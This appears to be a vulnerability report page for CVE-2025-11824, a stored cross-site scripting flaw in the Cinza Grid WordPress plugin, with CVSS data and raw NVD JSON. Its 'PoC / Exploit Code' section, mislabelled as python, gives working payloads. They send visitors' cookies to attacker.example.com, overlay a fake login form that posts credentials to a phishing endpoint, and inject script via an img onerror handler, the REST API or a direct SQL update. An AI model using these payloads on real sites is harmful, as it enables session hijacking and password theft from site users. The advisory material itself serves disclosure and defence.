Security Vulnerability Report
中文
CVE-2025-11824 CVSS 6.4 MEDIUM

CVE-2025-11824

Published: 2025-10-22 09:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Cinza Grid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cgrid_skin_content' post meta field in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cinza Grid 插件 <= 1.2.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11824 PoC - Stored XSS in WordPress Cinza Grid Plugin Vulnerable endpoint: cgrid_skin_content post meta field Required privilege: Contributor or above --> // Step 1: Authenticate as a Contributor-level user // Step 2: Create or edit a post and inject malicious payload via the Cinza Grid skin content field // Step 3: The payload will be stored in wp_postmeta table // Step 4: When any user visits the page containing the grid, the XSS executes // Malicious payload to inject into 'cgrid_skin_content' field: <script> // Steal cookies and send to attacker server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); // Create a fake admin login form to phish credentials var div = document.createElement('div'); div.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h2>Session Expired</h2><form action="https://attacker.example.com/phish" method="POST"><input name="user_login" placeholder="Username"/><input name="user_pass" type="password" placeholder="Password"/><button>Login</button></form></div>'; document.body.appendChild(div); </script> // Alternative payload using event handlers: <img src=x onerror="fetch('https://attacker.example.com/log?data='+btoa(document.cookie))"> // WordPress REST API exploit example (if API access is available): // POST /wp-json/wp/v2/posts/<post_id> // Body: { "meta": { "cgrid_skin_content": "<script>alert(document.cookie)</script>" } } // wp-cli or direct database manipulation: // UPDATE wp_postmeta SET meta_value = '<script>...</script>' WHERE meta_key = 'cgrid_skin_content';

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11824", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cinza Grid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cgrid_skin_content' post meta field in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cinza-grid/tags/1.2.1/includes/backend-cpts.php#L733", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cinza-grid/tags/1.2.1/includes/backend-shortcodes.php#L511", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3381619/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9acec3df-84d6-4cea-8756-64fbb468e5e0?source=cve", "source": "[email protected]"}]}}